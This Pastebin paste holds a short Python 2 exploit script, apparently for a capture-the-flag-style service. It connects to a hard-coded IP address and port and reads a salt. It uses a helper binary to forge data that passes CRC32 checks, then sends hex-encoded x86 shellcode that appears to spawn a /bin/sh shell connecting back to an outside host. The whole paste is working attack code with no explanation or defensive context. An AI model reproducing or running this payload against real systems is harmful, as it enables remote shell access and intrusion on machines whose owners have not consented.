Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket,struct,subprocess
- from binascii import crc32
- #a2fa361c9aabf6a541a1c6ac8b32fcb9
- SC = ("31c0504089c350405089e1b066cd8089c7684f11980166681ec643665389e16a10515089e143b066cd8031d289fb89d1b03fcd804180f90375f652686e2f7368682f2f626989e3525389e1b00bcd80b001cd8090" ).decode('hex')
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect(('54.178.232.195', 5757))
- salt = s.recv(100).strip('\n').replace('salt: ', '').decode('hex')
- salt_crc = crc32(salt) & 0xffffffff
- s_buf=struct.pack('I',(len(SC) / 4));
- s.send(s_buf)
- for i in xrange(0, len(SC), 4):
- p = subprocess.Popen(["./a", str(salt_crc)+" "+str((struct.unpack('I',SC[i:i+4])[0]))], stdout=subprocess.PIPE)
- buf_to_send = p.communicate()[0].decode('hex')[::-1]
- if SC[i:i+4] == struct.pack('I',crc32(salt + buf_to_send) & 0xffffffff):
- s.send(struct.pack('I',len(buf_to_send))+buf_to_send)
- else:
- print "ouch... something went wrong"
- break
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement